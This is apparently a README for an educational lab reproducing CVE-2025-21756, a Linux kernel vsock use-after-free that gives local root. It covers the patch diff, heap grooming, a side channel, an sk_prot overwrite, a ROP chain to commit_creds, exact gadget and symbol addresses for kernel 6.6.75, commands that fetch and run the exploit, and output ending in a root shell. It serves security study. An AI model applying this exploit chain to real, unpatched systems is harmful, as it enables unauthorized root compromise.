
Educational lab demonstrating a use-after-free (UAF) exploit in the Linux kernel's vsock subsystem for local privilege escalation to root, with automated setup and ROP chain analysis.
For educational and authorized security research purposes only.
CVE-2025-21756 is a use-after-free (UAF) vulnerability in the Linux kernel's vsock (Virtual Socket) subsystem, disclosed on February 26, 2025. It allows a local attacker to escalate privileges to root on affected Linux systems.
net/vmw_vsock/af_vsock.cThe bug occurs during transport reassignment of a vsock socket. The vulnerable sequence is:
vsock_create() creates the socket with refcnt=2 and inserts it into the unbound listtransport->release() calls vsock_remove_bound() without checking whether the socket was moved to the bound list, incorrectly decrementing refcntvsock_bind() assumes the socket is still in the unbound list and calls _vsock_remove_bound() againrefcnt reaches 0 prematurely → the vsock object is freed while still referenced → UAFvoid vsock_remove_sock(struct vsock_sock *vsk)
{
- vsock_remove_bound(vsk);
+ if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+ vsock_remove_bound(vsk);
vsock_remove_connected(vsk);
}
connect() calls with CIDs that produce different transports cause the vsock object to be freed prematurely while still linked in vsock_bind_tableunix_dgram_sendmsg with order-2 messages (MIGRATE_UNMOVABLE), filling it with controlled datavsock_diag_dump (not protected by AppArmor) is used as a side-channel to detect when the page was reclaimed and locate the exact offset of the victim object within the pagesk->sk_prot is overwritten to point to udp_prot+0x1c0 (udp_abort), which when called invokes sk->sk_error_report(sk), whose pointer is overwritten with a stack pivot gadgetcommit_creds(init_cred) is executed to assign root credentials to the process, followed by the KPTI trampoline to return to userspacesudo access# Download the setup script
wget -O setup-lab.sh <SCRIPT_URL>
chmod +x setup-lab.sh
# Run as a normal user (not root)
./setup-lab.sh
The script automatically handles:
sudo if not availablebuild-essential, qemu-system-x86, bc, pahole, etc.)lts-6.6.75, rootfs, ramdisk)run_lab.sh as the single entry pointcd ~/cve-2025-21756-lab
./run_lab.sh
Once the environment boots, run the following inside it:
wget -O /tmp/exploit http://10.0.2.2:8080/exploit
chmod +x /tmp/exploit
/tmp/exploit
[*] Saved state
[+] KBASE @ 0xffffffff81000000
...
[END] SUCCESSFULLY FREED THE TARGET SLAB
...
[END] Found the correct offset! ROP pls
...
[*] I AM ROOT
# id
uid=0(root) gid=0(root) groups=0(root)
To exit: Ctrl-A X
The base exploit is from ktranowl. The following modifications were applied to make it work in this environment:
Modification: nokaslr added to the kernel boot parameters.
Reason: The original exploit bypasses KASLR using EntryBleed, a TLB timing side-channel technique that requires precise CPU timing. In a nested virtualization environment the rdtsc precision is insufficient for EntryBleed to work reliably, producing an incorrect kbase that causes all addresses calculated with ADDRESS() to be wrong. Disabling KASLR ensures the kernel always loads at 0xffffffff81000000 and the hardcoded offsets in the exploit are always correct.
user_rip changed from modeprobe_exec to check_rootModification in exploit.c:
// Before
uint64_t user_rip = (uint64_t)modeprobe_exec;
// After
uint64_t user_rip = (uint64_t)check_root;
Reason: modeprobe_exec is the privilege escalation technique used in the original exploit for the remote kCTF environment. It requires command-line arguments (IP and port of a remote server) and external network connectivity. Without those arguments the process crashes with a GPF when trying to read argv[1]. check_root directly verifies the uid and executes /bin/sh, which is sufficient to demonstrate the exploitation in a local environment.
modeprobe_exec call inside check_rootModification in exploit.c:
void check_root() {
if (getuid() == 0) {
puts("[*] I AM ROOT");
- modeprobe_exec(); // removed
char binsh[] = "/bin/sh";
char* const argv[] = {binsh, NULL};
execve("/bin/sh", argv, 0);
}
}
Reason: Even with user_rip pointing to check_root, this function internally called modeprobe_exec again before executing /bin/sh. Without the required arguments, that call caused a GPF and the process terminated without opening a shell, despite commit_creds having already escalated privileges successfully.
During the lab setup process, all kernel symbols and ROP gadgets were verified against the official kCTF lts-6.6.75 kernel to confirm they were valid for this environment.
The three gadgets used in the exploit were extracted from the official kernel using ROPgadget on the vmlinux binary and confirmed to match the hardcoded values exactly:
None of these required modification.
The following symbols were verified against /proc/kallsyms inside the kernel (with nokaslr, offsets are fixed):
All values matched the originals in the exploit. No modifications were needed.
address_contain_udp_abortThis value does not point directly to the udp_abort function. It points to udp_prot + 0x1c0, which is the diag_destroy field inside struct proto. This is intentional: vsock_release calls sk->sk_prot->close(sk, 0), where close is at offset 0 of struct proto. By pointing sk_prot at udp_prot->diag_destroy instead of the start of udp_prot, the kernel reads diag_destroy as if it were the close pointer, which contains . This chains into → , where the stack pivot gadget is placed.
vsock_release(sk)
└── sk->sk_prot->close(sk) ← sk_prot points to udp_prot+0x1c0
└── udp_abort(sk) ← diag_destroy field, read as close()
└── sk_error_report(sk)
└── sk->sk_error_report(sk) ← stack pivot gadget
└── ROP chain
└── commit_creds(init_cred)
└── kpti_trampoline → root shell
The official patch is available from kernel 6.14-rc1 and has been backported to all maintained LTS branches. Affected distributions have issued their own advisories:
This tool is provided for educational purposes and authorized security testing only. Unauthorized use against systems you do not own or have explicit written permission to test is illegal. The author is not responsible for any misuse.
execve("/bin/sh") with uid=0| Gadget | Address | Purpose |
|---|
pop rax ; and eax, ... ; pop rsp ; jmp ... | 0xffffffff8122ad32 | Stack pivot — moves RSP to the start of the controlled vsock object |
add rsp, 0xb8 ; jmp ... | 0xffffffff8170292c | Stack advance — skips reserved fields to reach the ROP chain |
pop rdi ; ret | 0xffffffff8115e4f9 | Load first argument for commit_creds(init_cred) |
| Symbol | Address | Notes |
|---|
vsock_bind_table[0x7a] | 0xffffffff84bc6280 | Side-channel anchor — the vsock list slot where the victim object lands |
init_net | 0xffffffff84bb1f80 | Used to validate the fake vsock object via vsock_diag_dump |
commit_creds | 0xffffffff811fdac0 | Assigns root credentials to the current process |
init_cred | 0xffffffff83c74d80 | Credential structure with uid=gid=0, at a fixed offset from kernel base |
kpti_trampoline | 0xffffffff826011a6 | swapgs_restore_regs_and_return_to_usermode+0x36 — restores CR3 and returns to userspace |
address_contain_udp_abort | 0xffffffff83ef28e0 | udp_prot + 0x1c0 — see note below |
udp_abortsk_error_report(sk)sk->sk_error_report(sk)| Aspect | Original (ktranowl) | This lab |
|---|
| KASLR bypass | EntryBleed (TLB timing) | Disabled (nokaslr) |
| Escalation technique | modeprobe_exec via core_pattern | execve("/bin/sh") directly |
| Target environment | Remote kCTF | Local |
| External connectivity required | Yes | No |
| Resource | URL |
|---|
| Original writeup (Hoefler) | https://hoefler.dev/articles/vsock.html |
| Hoefler exploit | https://github.com/hoefler02/CVE-2025-21756 |
| n-day analysis (ktranowl) | https://hackmd.io/@ktranowl/H1XRm4zBxl |
| ktranowl exploit | https://github.com/khoatran107/cve-2025-21756 |
| Official patch | https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fcdd2242c023 |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2025-21756 |
| kCTF rules | https://google.github.io/security-research/kernelctf/rules.html |